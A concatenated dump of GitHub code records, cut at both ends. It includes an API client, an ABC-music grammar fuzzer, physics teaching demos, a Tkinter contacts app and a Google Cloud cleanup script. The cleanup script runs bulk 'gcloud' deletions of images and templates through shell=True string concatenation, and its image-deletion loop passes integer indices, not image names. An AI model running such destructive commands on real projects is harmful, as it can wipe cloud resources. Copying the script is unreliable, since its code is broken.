args):\n return [args[k] for k in self.ARGS if k in args and args[k]]\n\n def make_request(self, id, resource, **kwargs):\n verb = kwargs.get('verb', 'GET').lower()\n\n url = furl(self.API_ENDPOINT)\n url.path.segments = [\n self.API_VERSION,\n id\n ]\n\n if resource:\n url.path.segments.append(resource)\n\n url.path.segments.extend(self.get_options(kwargs))\n\n payload = kwargs.get('extra') or kwargs.get('data')\n\n return _do_verb(verb, str(url), payload=payload, headers=self.headers)","repo_name":"catalanojuan/tiendanube-python","sub_path":"tiendanube/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"18010738232","text":"import re\nimport random\nfrom typing import List\n\n# derived from https://github.com/zekedroid/ABC-Music-Player/blob/master/src/grammar/ABCMusic.g4\n\nSIMPLE_ABC_GRAMMAR = {\n \"<start>\": [\"<INDEX><TITLE><COMPOSER><LENGTH><KEY><VERSES>\"],\n \"<NEWLINE>\": [\"\\n\"],\n \"<NUMBER>\": [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"],\n \"<TAKT_LENGTH>\": [\"6/4\", \"4/4\", \"8/4\", \"8/8\", \"1/8\"],\n \"<NUMBER_COMBI>\": [\"<NUMBER>\", \"<NUMBER_COMBI><NUMBER>\"],\n \"<SMALL_Letter>\": [\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n ],\n \"<BIG_Letter>\": [\n \"A\",\n \"B\",\n \"C\",\n \"D\",\n \"E\",\n \"F\",\n \"G\",\n \"H\",\n \"I\",\n \"J\",\n \"K\",\n \"L\",\n \"M\",\n \"N\",\n \"O\",\n \"P\",\n \"Q\",\n \"R\",\n \"S\",\n \"T\",\n \"U\",\n \"V\",\n \"W\",\n \"X\",\n \"Y\",\n \"Z\",\n ],\n \"<INDEX>\": [\"X:<NUMBER_COMBI><NEWLINE>\"],\n \"<SPECIAL_CHARS>\": [\"?\", \"!\", '\"', \"$\", \"%\", \"?\", \"(\", \")\"],\n \"<NAME>\": [\n \"<BIG_Letter>\",\n \"<SMALL_Letter>\",\n \"<NAME><SMALL_Letter>\",\n \"<NAME><BIG_Letter>\",\n ],\n \"<TITLE_NAME>\": [\n \"<BIG_Letter>\",\n \"<SMALL_Letter>\",\n \"<SPECIAL_CHARS>\",\n \"<TITLE_NAME><BIG_Letter>\",\n \"<TITLE_NAME><SMALL_Letter>\",\n \"<TITLE_NAME><SPECIAL_CHARS>\",\n ],\n \"<TITLE>\": [\"T: <TITLE_NAME><NEWLINE>\"],\n \"<COMPOSER>\": [\"C: <NAME><NEWLINE>\"],\n \"<LENGTH>\": [\"L: <TAKT_LENGTH><NEWLINE>\"],\n \"<MUSICNOTATION>\": [\"#\", \"b\"],\n \"<A_G>\": [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\"],\n \"<a_g>\": [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\"],\n \"<KEY>\": [\n \"K: <A_G><MUSICNOTATION><NEWLINE>\",\n \"K: <A_G><NEWLINE>\",\n \"K: <a_g><NEWLINE>\",\n \"K: <a_g><MUSICNOTATION><NEWLINE>\",\n ],\n \"<TAKT_SINGLE>\": [\n \"<a_g><a_g>\",\n \"<a_g>2\",\n ],\n \"<TAKT>\": [\"<TAKT_SINGLE><TAKT_SINGLE>\"],\n \"<TAKT_ENDING>\": [\"|\\\\ \", \":| \"],\n \"<VERSE>\": [\"<TAKT> | <TAKT> | <TAKT> | <TAKT> <TAKT_ENDING>\"],\n \"<VERSES>\": [\"<VERSE>\", \"<VERSES><VERSE>\"],\n}\n\nRE_NONTERMINAL = re.compile(r\"(<[^<> ]*>)\")\nSTART_SYMBOL = \"<start>\"\n\n\ndef nonterminals(expansion):\n if isinstance(expansion, tuple):\n expansion = expansion[0]\n\n return re.findall(RE_NONTERMINAL, expansion)\n\n\ndef is_nonterminal(s):\n return re.match(RE_NONTERMINAL, s)\n\n\nclass ExpansionError(Exception):\n pass\n\n\ndef simple_grammar_fuzzer(\n grammar,\n start_symbol=START_SYMBOL,\n max_nonterminals=10,\n max_expansion_trials=100,\n log=False,\n):\n term = start_symbol\n expansion_trials = 0\n\n while len(nonterminals(term)) > 0:\n symbol_to_expand = random.choice(nonterminals(term))\n expansions = grammar[symbol_to_expand]\n expansion = random.choice(expansions)\n new_term = term.replace(symbol_to_expand, expansion, 1)\n\n if len(nonterminals(new_term)) < max_nonterminals:\n term = new_term\n if log:\n print(\"%-40s\" % (symbol_to_expand + \" -> \" + expansion), term)\n expansion_trials = 0\n else:\n expansion_trials += 1\n if expansion_trials >= max_expansion_trials:\n term = \"\"\n\n return term\n","repo_name":"juuugee/Seccode_Abgabe_abcm2ps","sub_path":"fuzzing/grammar.py","file_name":"grammar.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74956739443","text":"#Nom du programme : EchantillionageFiltrage\n\n#Auteurs : David Delgove, Arnaud Raoux et la prépa agreg de Montrouge\n#Adresse : Departement de physique de l'Ecole Normale Superieure\n#\t\t24 rue Lhomond\n#\t\t75005 Paris\n#Contact : arnaud.raoux@ens.fr\n#\n#Année de création : 20167\n#Version : 1.00\n\n#Liste des modifications\n#v 1.00 : 2017-06-09 Première version complète\n#v 1.10 : 2018-05-08 Ajout d'un slider pour la fréquence d'échantillonage\n#v 1.20 : 2019-01-09 Remplacement de axisbg dépréciée par facecolor\n\n\n#Version de Python\n#3.5\n\n#LICENCE\n#Cette oeuvre, création, site ou texte est sous licence Creative Commons Attribution - Pas d'Utilisation Commerciale 4.0 International. Pour accéder à une copie de cette licence, merci de vous rendre à l'adresse suivante http://creativecommons.org/licenses/by-nc/4.0/ ou envoyez un courrier à Creative Commons, 444 Castro Street, Suite 900, Mountain View, California, 94041, USA.\n\n#AVERTISSEMENT\n#Pour un affichage optimal, il est recommandé de mettre la fenêtre en plein écran.\n\n#Description : \n#Ce programme a pour objectif de mettre en évidence l'effet d'échantionnage, ainsi que l'effet de filtrage sur un signal analogique.\n\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import Slider, Button, RadioButtons, CheckButtons\n\n# =============================================================================\n# --- Définitions des paramètres sur lesquels on peut agir --------------------\n# =============================================================================\n\n### Signal analogique ###\nForme_signal = 0 # 0 cosinus / 1 : rectangulaire # forme du signal échantillongé\nfe = 10 # fréquence du signal\nAmplitude = 1.0 # Amplitude du signal\n\n### Signal numérique d'entrée ###\nTacquisition = 1 # durée d'acquisition\nfechantillonnage0 = 35 # fréquence d'échantillonnage\n\n### Signal numérique post-filtre passe-bas ###\nPlot_Action_filtre = False # Tracer ou non l'action du filtre passe-bas\nfc = 0.5 # fréquence de coupure du filtre\n \n# =============================================================================\n# --- Fonction intermediaire qui échantillone le signal -----------------------\n# =============================================================================\n\ndef TableSignalEntree(fe,fech,Tacq,A) : \n '''\n fe : fréquence du signal\n fech : fréquence d'échantillonage\n Tacq : Temps d'acquisition\n A : amplitude du signal\n '''\n\n Npoint = int(fech*Tacq+1)\n temps=np.linspace(1,Npoint,Npoint)/fech\n \n if (Forme_signal): # Cas où le signal est rectangulaire\n test=round(2*temps*fe,0) %2\n signal=A*(2*test-1)\n \n else: # Cas où le signal est sinusoidal\n signal=A*np.cos(2*np.pi*fe*temps)\n \n return temps,signal\n \n# =============================================================================\n# --- Fonction qui applique le filtre passe-bas sur le signal -----------------\n# =============================================================================\n \ndef PasseBas(fcoupure,fech,Entree) : \n '''\n fcoupure : fréquence de coupure du filtre\n fech : fréquence d'échantillonnage du signal d'entrée\n Entree : table contenant le signal d'entrée\n '''\n\n Sortie = [0]\n for i in range(0,len(Entree)-1) :\n Sortie.append(Sortie[i]+2*math.pi*fcoupure/fech*(Entree[i]-Sortie[i]))\n return Sortie\n\n \n# =============================================================================\n# --- Code principal-----------------------------------------------------------\n# =============================================================================\n\n#Table du signal analogique (en fait échantilloné avec une très grande fréquence : aucun problème de repliement de spectre)\nTable_vrai_signalx, Table_vrai_signaly = TableSignalEntree(fe,200*fe,Tacquisition,Amplitude)\n \n#Table du signal échantilloné initial\nTablex,Tabley = TableSignalEntree(fe,fechantillonnage0,Tacquisition,Amplitude)\n\n## Calcul l'action du filtre \n#if Plot_Action_filtre :\n #sortie = PasseBas(fc,fechantillonnage,Tabley)\n\nfig, ax = plt.subplots(1, sharex=True)\nplt.subplots_adjust(left=0.12, bottom=0.2)\n\nif Plot_Action_filtre :\n ax.set_title(r'Filtre Passe-bas (fech='+str(fechantillonnage0)+' Hz, fana='+str(fe)+' Hz, fc='+str(fc)+' Hz)')\n Msize = 0; Mtype = '.'\nelse :\n ax.set_title(r'Echantillonnage ($f_\\mathrm{analog}=$'+str(fe)+' Hz)')\n Msize = 10; Mtype = 'x'\n\n \n#Titres et dimensions des axes \nax.set_ylim(-1.5*Amplitude,1.5*Amplitude)\nax.set_ylabel(r'U.A')\nax.set_xlim(0,Tacquisition)\nax.set_xlabel(r't(s)')\nplt.grid(True)\n\n#Trace le signal \"analogique\", le signal échantilloné et le signal filtré\nax.plot(Table_vrai_signalx,Table_vrai_signaly,color='blue',linewidth=1,label=\"Analogique\")\nl, = ax.plot(Tablex,Tabley,color='red',marker=Mtype,markersize=Msize,linewidth=2,label=\"Numérique\")\n\n#if Plot_Action_filtre :\n #ax.plot(Tablex,sortie,color='black',marker=Mtype,markersize=Msize,linewidth=2,label=\"Sortie du filtre\")\n\nplt.legend(loc=\"upper left\", bbox_to_anchor=[0, 1],ncol=3, shadow=True,fancybox=True)\n\n# =============================================================================\n# --- Slider fréquence --------------------------------------------------------\n# =============================================================================\n\n# Creation des barres de modification amplitude et frequence\naxcolor = 'lightgoldenrodyellow'\naxf = plt.axes([0.25, 0.07, 0.65, 0.03], facecolor=axcolor)\nsf = Slider(axf, '$f_\\mathrm{echantillonnage}$ (Hz)', 5., 60., valinit=fechantillonnage0) # Remarquer la valeur initiale 633 nm\n\n# Fonction de mise a jour du graphique\ndef update(val):\n fechantillonnage=sf.val # On recupere la valeur de la barre sk comme vecteur d'onde\n new_x, new_y = TableSignalEntree(fe,fechantillonnage,Tacquisition,Amplitude)\n l.set_ydata(new_y) # On met a jour l'objet 'l' avec ces nouvelles valeurs\n l.set_xdata(new_x) # On met a jour l'objet 'l' avec ces nouvelles valeurs \n fig.canvas.draw_idle() # On provoque la mise a jour du graphique, qui n'est pas automatique par defaut\nsf.on_changed(update) # lorsque la barre sa est modifiee, on applique la fonction update\n\n\nplt.show() # On provoque l'affichage a l'ecran\n","repo_name":"remimetzdorff/agregation","sub_path":"Python/Programmes Pierre/EchantillonnageFiltrage.py","file_name":"EchantillonnageFiltrage.py","file_ext":"py","file_size_in_byte":6294,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"21026074829","text":"from typing import Sequence\n\nfrom src.shared.infrastructure.mongo_connection import MongoDB\nfrom src.hexagonal.user.domain.user import User\nfrom src.hexagonal.shared.domain.user.vo.id import UserId\nfrom src.hexagonal.user.domain.vo.name import UserName\nfrom src.hexagonal.user.domain.vo.updated import UserUpdated\nfrom src.hexagonal.user.domain.user_repository import UserRepository\n\n\nclass MongoUserRepository(UserRepository):\n __slots__ = ('_collection',)\n _COLLECTION_NAME = 'user'\n\n def __init__(self, db_connection: MongoDB):\n self._collection = db_connection.db[MongoUserRepository._COLLECTION_NAME]\n\n def all(self) -> Sequence[User]:\n for u in self._collection.find():\n u = User(id=UserId(u.get('user_id')),\n name=UserName(u.get('name')),\n updated_at=UserUpdated(u.get('updated_at')))\n yield u\n\n def save(self, user: User) -> None:\n user_dict = {\n 'user_id': user.id.value,\n 'name': user.name.value,\n 'updated_at': user.updated_at.value\n }\n self._collection.save(user_dict)\n\n def delete_one(self, user: User) -> None:\n user_dict = {\n 'user_id': user.id.value,\n }\n self._collection.delete_one(user_dict)\n","repo_name":"plievana/ddd-example","sub_path":"src/hexagonal/user/infrastructure/repository/mongo_user_repository.py","file_name":"mongo_user_repository.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40884300433","text":"from decimal import *\r\nimport math\r\n\r\n\r\ndef factorz(n):\r\n i = Decimal(1)\r\n rez = Decimal(1)\r\n while i <= n:\r\n rez *= i\r\n i += 1\r\n return rez\r\n\r\n\r\nn = Decimal(input())\r\nrounder = int(input())\r\ngetcontext().prec = rounder\r\n\r\n\r\nk = 0\r\nsum_pi = Decimal(0)\r\nsum_sin = Decimal(0)\r\nsum_cos = Decimal(0)\r\nwhile k < 1337:\r\n d1 = Decimal(-1)\r\n d1 **= k\r\n d2 = Decimal(factorz(Decimal(6 * k)))\r\n d3 = Decimal(13591409 + 545140134 * k)\r\n d11 = Decimal(factorz(Decimal(3 * k)))\r\n d22 = Decimal(factorz(Decimal(k))) ** 3\r\n d33 = Decimal(Decimal(640320) ** 3) ** Decimal(k + Decimal(1 / 2))\r\n sum_pi += d1 * d2 * d3 / (d11 * d22 * d33)\r\n k += 1\r\n #print(k)\r\nk = 0\r\ndegr = Decimal(Decimal(1) / (sum_pi * 12))\r\ndegr = degr * Decimal(n / 200)\r\nwhile k < 2000:\r\n d1 = Decimal(-1) ** k\r\n d2_cos = Decimal(degr ** Decimal(2 * k))\r\n d2 = d2_cos * degr\r\n d2_sin = Decimal(degr ** Decimal(2 * k + 1))\r\n d11_sin = Decimal(factorz(Decimal(2 * k + 1)))\r\n d11_cos = Decimal(factorz(Decimal(2 * k)))\r\n d11 = d11_cos * (2 * k + 1)\r\n sum_sin += d1 * d2_sin / d11_sin\r\n sum_cos += d1 * d2_cos / d11_cos\r\n k += 1\r\n #print(k)\r\n#getcontext().rounding = ROUND_DOWN\r\nprint(Decimal(sum_sin / sum_cos))\r\n \r\n \r\nprint(Decimal(math.tan(degr)))\r\n\r\n \r\n#print(sum_pi)\r\n#print(1 / (sum_pi * 12))\r\n#print(math.tan(degr))\r\n#print(math.pi)\r\n","repo_name":"dogernout/PythonIntro","sub_path":"arb_tangent.py","file_name":"arb_tangent.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71600885361","text":"from datetime import timedelta, datetime\nimport datetime\nimport os\nimport re\nimport tkinter as tk\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nfrom tkinter import ttk\nfrom PIL import Image, ImageTk\n\nclass Contacto:\n \n def __init__(self, email, nombre, fecha_nacimiento):\n self.email = email\n self.nombre = nombre\n self.fecha_nacimiento = fecha_nacimiento\n \n def to_str(self):\n return f'{self.email};{self.nombre};{self.fecha_nacimiento}'\n\nclass GestionContactos:\n \n def __init__(self):\n self.nombre_archivo = 'parte18/demo42_contactos.txt'\n\n self.verificar_archivo()\n \n def verificar_archivo(self):\n if not os.path.exists(self.nombre_archivo):\n with open(self.nombre_archivo, 'wt', encoding='utf-8') as f:\n pass\n \n def agregar_contacto(self, contacto):\n try:\n with open(self.nombre_archivo, 'at', encoding='utf-8') as f:\n f.write(contacto.to_str())\n f.write('\\n')\n\n return True\n except Exception as e:\n print(e)\n return False\n \n def existe_contacto(self, email):\n for c in self.obtener_contactos():\n if c.email == email:\n return True\n \n return False\n \n def obtener_contactos(self):\n try:\n contactos = []\n with open(self.nombre_archivo, 'rt', encoding='utf-8') as f:\n for l in f.readlines():\n partes = l.split(';')\n contacto = Contacto(partes[0], partes[1], partes[2].strip())\n contactos.append(contacto)\n\n return contactos\n except:\n return None\n \n def buscar_contacto_por_email(self, email):\n for c in self.obtener_contactos():\n if c.email == email:\n return c\n \n return None\n \n def eliminar_contacto_por_email(self, email):\n contactos = self.obtener_contactos()\n\n for c in contactos:\n if c.email == email:\n contactos.remove(c)\n self.reemplazar_archivo(contactos)\n return True\n \n return False\n \n def reemplazar_archivo(self, contactos):\n try:\n with open(self.nombre_archivo, 'wt', encoding='utf-8') as f:\n for c in contactos:\n f.write(c.to_str())\n f.write('\\n')\n return True\n except:\n return False\n \n def actualizar_contacto(self, email, contacto):\n contactos = self.obtener_contactos()\n\n indice = 0\n\n for c in contactos:\n if c.email == email:\n c.nombre = contacto.nombre\n c.fecha_nacimiento = contacto.fecha_nacimiento\n self.reemplazar_archivo(contactos)\n \n return True\n \n return False\n\nclass ContactosApp:\n\n def __init__(self, master):\n self.master = master\n self.gestion_contactos = GestionContactos()\n\n patron = '^[a-z0-9]+[\\._]?[a-z0-9]+[@]\\w+[.]\\w{2,3}$'\n self.patron_email = re.compile(patron)\n\n self.inicializar_gui()\n\n self.refrescar_lista_contactos()\n \n def inicializar_gui(self):\n lbl_titulo = tk.Label(self.master, text='Contactos App', font=('Helvetica', 16))\n lbl_titulo.place(x=10, y=10)\n\n self.lbx_contactos = tk.Listbox(self.master, width=30, height=20)\n self.lbx_contactos.place(x=10, y=40)\n self.lbx_contactos.bind('<<ListboxSelect>>', self.seleccionar_contacto)\n\n lbl_nombre = tk.Label(self.master, text='Nombre:', font=('Helvetica', 13))\n lbl_nombre.place(x=230, y=40)\n self.txt_nombre = tk.Entry(self.master, width=48)\n self.txt_nombre.place(x=230, y=70)\n \n lbl_email = tk.Label(self.master, text='Email:', font=('Helvetica', 13))\n lbl_email.place(x=230, y=90)\n self.txt_email = tk.Entry(self.master, width=48)\n self.txt_email.place(x=230, y=120)\n \n lbl_fecha_nacimiento = tk.Label(self.master, text='Fecha nacimiento:', font=('Helvetica', 13))\n lbl_fecha_nacimiento.place(x=230, y=140)\n self.txt_fecha_nacimiento = tk.Entry(self.master, width=48)\n self.txt_fecha_nacimiento.place(x=230, y=170)\n\n lbl_edad = tk.Label(self.master, text='Edad:', font=('Helvetica', 13))\n lbl_edad.place(x=230, y=190)\n self.edad_agnios = tk.StringVar()\n self.lbl_edad_agnios = tk.Label(self.master, text='0 años', font=('Helvetica', 13), textvariable=self.edad_agnios)\n self.lbl_edad_agnios.place(x=230, y=215)\n\n btn_nuevo = tk.Button(self.master, text='Nuevo', width=18)\n btn_nuevo.place(x=230, y=255)\n btn_nuevo['command'] = self.nuevo\n \n btn_guardar = tk.Button(self.master, text='Guardar', width=18)\n btn_guardar.place(x=385, y=255)\n btn_guardar['command'] = self.guardar\n \n btn_actualizar = tk.Button(self.master, text='Actualizar', width=18)\n btn_actualizar.place(x=230, y=287)\n btn_actualizar['command'] = self.actualizar\n \n btn_eliminar = tk.Button(self.master, text='Eliminar', width=18)\n btn_eliminar.place(x=385, y=287)\n btn_eliminar['command'] = self.eliminar\n\n self.lbl_foto = tk.Label(self.master)\n self.lbl_foto.place(x=550, y=70, width=200, height=200)\n\n def nuevo(self):\n self.txt_email.delete(0, tk.END)\n self.txt_nombre.delete(0, tk.END)\n self.txt_fecha_nacimiento.delete(0, tk.END)\n self.edad_agnios.set('0 años')\n \n def guardar(self):\n email = self.txt_email.get().strip()\n nombre = self.txt_nombre.get().strip()\n fecha_nacimiento = self.txt_fecha_nacimiento.get().strip()\n\n if not self.patron_email.search(email):\n messagebox.showwarning('Mensaje', 'Debe escribir un email válido.')\n return\n \n if len(nombre) == 0:\n messagebox.showwarning('Mensaje', 'El campo Nombre es obligatorio.')\n return\n \n try:\n datetime.datetime.strptime(fecha_nacimiento, '%Y/%m/%d')\n except ValueError as e:\n messagebox.showwarning('Mensaje', 'El campo Fecha nacimiento debe tener el formato AAAA/MM/DD.')\n return\n \n if self.gestion_contactos.existe_contacto(email):\n messagebox.showwarning('Mensaje', 'Ya existe un contacto con el email especificado.')\n return\n \n contacto = Contacto(email, nombre, fecha_nacimiento)\n\n if self.gestion_contactos.agregar_contacto(contacto):\n messagebox.showinfo('Mensaje', 'El contacto se creó de forma satisfactoria.')\n self.nuevo()\n self.refrescar_lista_contactos()\n else:\n messagebox.showwarning('Mensaje', 'Hay problemas con la creación del contacto.')\n \n def actualizar(self):\n email = self.txt_email.get().strip()\n nombre = self.txt_nombre.get().strip()\n fecha_nacimiento = self.txt_fecha_nacimiento.get().strip()\n\n if not self.patron_email.search(email):\n messagebox.showwarning('Mensaje', 'Debe escribir un email válido.')\n return\n \n if len(nombre) == 0:\n messagebox.showwarning('Mensaje', 'El campo Nombre es obligatorio.')\n return\n \n try:\n datetime.datetime.strptime(fecha_nacimiento, '%Y/%m/%d')\n except ValueError as e:\n messagebox.showwarning('Mensaje', 'El campo Fecha nacimiento debe tener el formato AAAA/MM/DD.')\n return\n \n if not self.gestion_contactos.existe_contacto(email):\n messagebox.showwarning('Mensaje', 'No existe un contacto con el email especificado.')\n return\n \n contacto = Contacto(email, nombre, fecha_nacimiento)\n\n if self.gestion_contactos.actualizar_contacto(contacto.email, contacto):\n messagebox.showinfo('Mensaje', 'El contacto se actualizó de forma satisfactoria.')\n self.nuevo()\n self.refrescar_lista_contactos()\n else:\n messagebox.showwarning('Mensaje', 'Hay problemas con la actualización del contacto.')\n \n def eliminar(self):\n email = self.txt_email.get().strip()\n\n if not self.patron_email.search(email):\n messagebox.showwarning('Mensaje', 'Debe escribir un email válido.')\n return\n \n if not self.gestion_contactos.existe_contacto(email):\n messagebox.showwarning('Mensaje', 'No existe un contacto con el email especificado.')\n return\n \n respuesta = messagebox.askquestion('Confirmación', '¿Está seguro de querer eliminar el contacto seleccionado?', icon='warning')\n\n if respuesta == 'yes':\n if self.gestion_contactos.eliminar_contacto_por_email(email):\n messagebox.showinfo('Mensaje', 'El contacto se eliminó de forma satisfactoria.')\n self.nuevo()\n self.refrescar_lista_contactos()\n else:\n messagebox.showwarning('Mensaje', 'Hay problemas con la eliminación del contacto.')\n \n def seleccionar_contacto(self, evento):\n if self.lbx_contactos.curselection():\n self.contacto_seleccionado = int(self.lbx_contactos.curselection()[0])\n email = self.contactos_emails[self.contacto_seleccionado]\n contacto = self.gestion_contactos.buscar_contacto_por_email(email)\n\n self.txt_nombre.delete(0, tk.END)\n self.txt_nombre.insert(0, contacto.nombre)\n \n self.txt_email.delete(0, tk.END)\n self.txt_email.insert(0, contacto.email)\n \n self.txt_fecha_nacimiento.delete(0, tk.END)\n self.txt_fecha_nacimiento.insert(0, contacto.fecha_nacimiento.strip())\n\n self.edad_agnios.set(f'{self.calcular_edad_agnios(contacto.fecha_nacimiento.strip())} años')\n \n def calcular_edad_agnios(self, fecha_nacimiento):\n hoy = datetime.datetime.now()\n fecha_nacimiento = datetime.datetime.strptime(fecha_nacimiento, '%Y/%m/%d')\n \n edad = hoy.year - fecha_nacimiento.year\n \n if hoy.month < fecha_nacimiento.month:\n edad -= 1\n elif hoy.month == fecha_nacimiento.month and hoy.day < fecha_nacimiento.day: \n edad -= 1\n \n return edad\n\n def refrescar_lista_contactos(self):\n contactos = self.gestion_contactos.obtener_contactos()\n\n self.lbx_contactos.delete(0, tk.END)\n self.contactos_emails = []\n\n for c in contactos:\n self.lbx_contactos.insert(tk.END, f'{c.nombre} ({c.email})')\n self.contactos_emails.append(c.email)\n\n self.contacto_seleccionado = -1\n\ndef main():\n app = tk.Tk()\n app.title('Contactos App')\n app.geometry('700x420')\n\n ventana = ContactosApp(app)\n app.mainloop()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Fhernd/Python-CursoV2","sub_path":"parte18/demo42_app_contactos.py","file_name":"demo42_app_contactos.py","file_ext":"py","file_size_in_byte":11111,"program_lang":"python","lang":"es","doc_type":"code","stars":60,"dataset":"github-code","pt":"75"} +{"seq_id":"16971115182","text":"from cProfile import label\nfrom calendar import c\nfrom email import header\nimport os\nfrom re import template\nimport re\nimport subprocess\nfrom collections import defaultdict\nfrom urllib import request, response\nimport csv\nproject=os.environ['project']\nRunning_template_status=defaultdict(lambda:\"STOP\")\nRunning_disk_image_status=defaultdict(lambda:\"STOP\")\ntemplate_resource_info=defaultdict(list)\nsame_regex_templates=defaultdict(list)\n\n#Running gcp command and returning the specfic output\ndef run_gcp_command(cmd):\n request=subprocess.check_output(cmd,shell=True)\n response=request.decode('utf-8').splitlines()\n response_list=response[1:]\n return response_list\n\ndef extract_request(cmd):\n try:\n request=subprocess.check_output(cmd,shell=True)\n response=request.decode('utf-8').splitlines()\n response=response[0].split('/')\n template=response[-1]\n return template\n\n except Exception as e:\n print(e)\n return\n\ndef is_response_valid(data):\n if len(data)>=1:\n return True\n return False\n\ndef filter_disk_from_template(cmd):\n try:\n response=subprocess.check_output(cmd,shell=True)\n\n if is_response_valid(response)==False:\n return []\n\n response_list=response.decode('utf-8').splitlines()[0].split(';')\n disk_image_list=[]\n for response in response_list:\n response=response.split('/')\n response=response[-1]\n disk_image_list.append(response)\n return disk_image_list\n\n except Exception as e:\n print(e)\n return []\n\ndef filter_templates_from_mig(cmd):\n try:\n response=subprocess.check_output(cmd,shell=True)\n\n if is_response_valid(response)==False:\n return []\n\n response_list=response.decode('utf-8').splitlines()[0].split(';')\n template_list=[]\n for response in response_list:\n response=response.split('/')\n response=response[-1]\n template_list.append(response)\n return template_list\n\n except Exception as e:\n print(e)\n return []\n\n\ndef template_creation_time(cmd):\n try:\n response=subprocess.check_output(cmd,shell=True)\n\n if is_response_valid(response)==False:\n return []\n response_list=response.decode('utf-8').splitlines()\n response_list=response_list[0]\n return response_list\n except Exception as e:\n print(e)\n\ndef check_template():\n\n #Finding all instance-templates\n cmd='''gcloud compute instance-templates list --project='''+project+''' | awk '{ print $1 }' '''\n template_list=run_gcp_command(cmd)\n\n\n\n\n # print(template_resource_info)\n\n\n disk_image_list=[]\n for template in template_list:\n\n cmd='''gcloud compute instance-templates describe ''' +template+''' --project='''+project+''' --format='get(creationTimestamp)' '''\n creation_time=template_creation_time(cmd)\n template_resource_info[template].append(creation_time)\n\n template_regex=template.split('template')[0]\n same_regex_templates[template_regex+\"template\"].append(template)\n\n cmd='''gcloud compute instance-templates describe ''' +template+''' --project='''+project+''' --format='get(properties.disks.initializeParams.sourceImage)' '''\n disk_list=filter_disk_from_template(cmd)\n for disk_image in disk_list:\n disk_image_list.append(disk_image)\n template_resource_info[template].append(disk_image)\n cmd='''gcloud compute instance-templates describe ''' +template+''' --project='''+project+''' --format='get(properties.disks.initializeParams.sourceImage)' '''\n\n cmd='''gcloud compute instances list --project='''+project+''' | awk '{ print $2 }' '''\n zones_list=set(run_gcp_command(cmd))\n\n\n\n for zone in zones_list:\n\n #Finding all managed instace groups\n cmd='''gcloud compute instance-groups managed list --project='''+project+ ''' --zones='''+zone+ ''' | awk '{ print $1}' '''\n mig_list=run_gcp_command(cmd)\n\n for mig in mig_list:\n\n cmd='''gcloud compute instance-groups managed describe ''' + mig+''' --project='''+project+''' --zone='''+zone+''' --format='get(versions.instanceTemplate)' '''\n running_template_list=filter_templates_from_mig(cmd)\n\n for template in running_template_list:\n Running_template_status[template]=\"RUNNING\"\n cmd='''gcloud compute instance-templates describe ''' +template+''' --project='''+project+''' --format='get(properties.disks.initializeParams.sourceImage)' '''\n disk_list=filter_disk_from_template(cmd)\n\n for disk_image in disk_list:\n Running_disk_image_status[disk_image]=\"RUNNING\"\n\n\n # with open('templates_list.csv', mode='w') as template_list_file:\n\n # fieldnames = ['Template_Name', 'Status']\n # writer = csv.DictWriter(template_list_file, fieldnames=fieldnames)\n # writer.writeheader()\n\n # for template in template_list:\n # writer.writerow({'Template_Name': template, 'Status': Running_template_status[template]})\n\n # with open('disk_image_list.csv', mode='w') as disk_image_list_file:\n\n # fieldnames = ['Disk_image_Name', 'Status']\n # writer = csv.DictWriter(disk_image_list_file, fieldnames=fieldnames)\n # writer.writeheader()\n\n # for disk_image in disk_image_list:\n # writer.writerow({'Disk_image_Name': disk_image, 'Status': Running_disk_image_status[disk_image]})\n\n\n\n for temp_list in same_regex_templates.values():\n list_of_items_to_delete=[]\n for template in temp_list:\n\n if Running_template_status[template]==\"STOP\":\n list=template_resource_info[template]\n list.append(template)\n list_of_items_to_delete.append(list)\n\n list_of_items_to_delete.sort(key=lambda x:x[0])\n print(\"intsance to be deleted\")\n print(list_of_items_to_delete)\n list_of_items_to_delete=list_of_items_to_delete[10:]\n\n\n print(\"Sensitive region\")\n for items in list_of_items_to_delete:\n length=len(items)\n\n #delete the disk images\n for disk_image in range(1,length-1):\n cmd='''gcloud compute images delete ''' + disk_image\n try:\n response=subprocess.check_output(cmd,shell=True)\n print(\"Disk image deleted successfully \",disk_image)\n except Exception as e:\n print(e)\n\n\n\n # delete the template\n cmd='''gcloud compute instance-templates delete ''' + items[-1]\n try:\n response=subprocess.check_output(cmd,shell=True)\n print(\"Template deleted successfully \",items[-1])\n except Exception as e:\n print(e)\n\n\ncheck_template()\n\n\n\n\n\n\n\n\n\n\n\n\n\n# for bucket in gcs_list:\n# bucket_name=bucket.split('/')[-2]\n# cmd='''gsutil label ch -l microservice:'''+bucket_name+\" \"+bucket\n# update_label_in_storage(cmd)\n# cmd='''gsutil label ch -l ms-resources:'''+bucket_name+\"-gcs\"+\" \"+bucket\n# update_label_in_storage(cmd)\n","repo_name":"3rectangles/python_scripts","sub_path":"Scripts/Scripts/delete_template_and_disk_image.py","file_name":"delete_template_and_disk_image.py","file_ext":"py","file_size_in_byte":7248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9429786261","text":"from weboob.capabilities.job import BaseJobAdvert\nfrom weboob.browser.pages import HTMLPage\nfrom 